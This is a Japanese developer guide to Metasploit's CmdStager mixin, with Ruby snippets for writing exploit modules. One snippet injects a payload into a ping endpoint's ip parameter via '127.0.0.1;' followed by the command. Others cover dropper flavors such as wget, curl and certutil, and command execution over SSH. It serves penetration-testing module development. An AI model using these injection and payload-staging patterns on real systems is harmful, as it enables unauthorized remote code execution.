コンテンツにスキップ

Msf::Exploit::CmdStager は、長いペイロードを複数の OS コマンドに分割して対象へ届けます。モジュール側では 1 コマンドを送る execute_command だけを実装します。実装は lib/msf/core/exploit/cmd_stager.rb です。

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def execute_command(cmd, _opts = {})
# cmd を対象の injection 点へ送る
end
def exploit
execute_cmdstager(linemax: 1500)
end

mixin の default execute_command は NotImplementedError です。必ず override します。

target や呼び出しで flavor を選びます。代表例です。

flavor向き
bourneLinux / Unix シェル
echo / printfUnix で小さな断片を書く
vbs古い Windows
certutilWindows
tftp / wget / curl取得系が使える環境
'Targets' => [
[
'Linux Command',
{
'Platform' => 'linux',
'Arch' => [ARCH_CMD]
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => ['bourne', 'wget', 'curl']
}
]
]
def filter_bad_chars(cmd)
cmd.gsub(/&/, '%26')
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ping'),
'vars_get' => {
'ip' => "127.0.0.1;#{filter_bad_chars(cmd)}"
}
)
end
def exploit
if target['Arch'] == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1500, background: true)
end
end

modules/exploits/multi/ssh/sshexec.rb の考え方です。

def execute_command(cmd, _opts = {})
vprint_status("Executing #{cmd}")
ssh_socket.exec!(cmd)
end
execute_cmdstager(
flavor: :bourne,
linemax: 1500,
background: true,
temp: '/tmp',
noconcat: false
)
引数意味
flavorstager 方式
linemax1 コマンドの最大長
background最後を background 実行寄りにする
temp一時ディレクトリ

単発で足りるなら execute_command(payload.encoded) だけで十分です。CmdStager は「1 回では入り切らない」ときに使います。

パターン実装の要点
cmd ペイロードのみexecute_command(payload.encoded)。CmdStager 不要なことも多い
Linux dropperCmdStagerFlavor に bourne / curl / wget、execute_cmdstager
Windows droppervbs / certutil など。linemax を短めに
SSH 経由execute_command 内で ssh_socket.exec!(cmd)
bad char が多いfilter_bad_chars + Payload => BadChars
バックグラウンド化execute_cmdstager(background: true)

詳細な execute_command の書き方は execute_command です。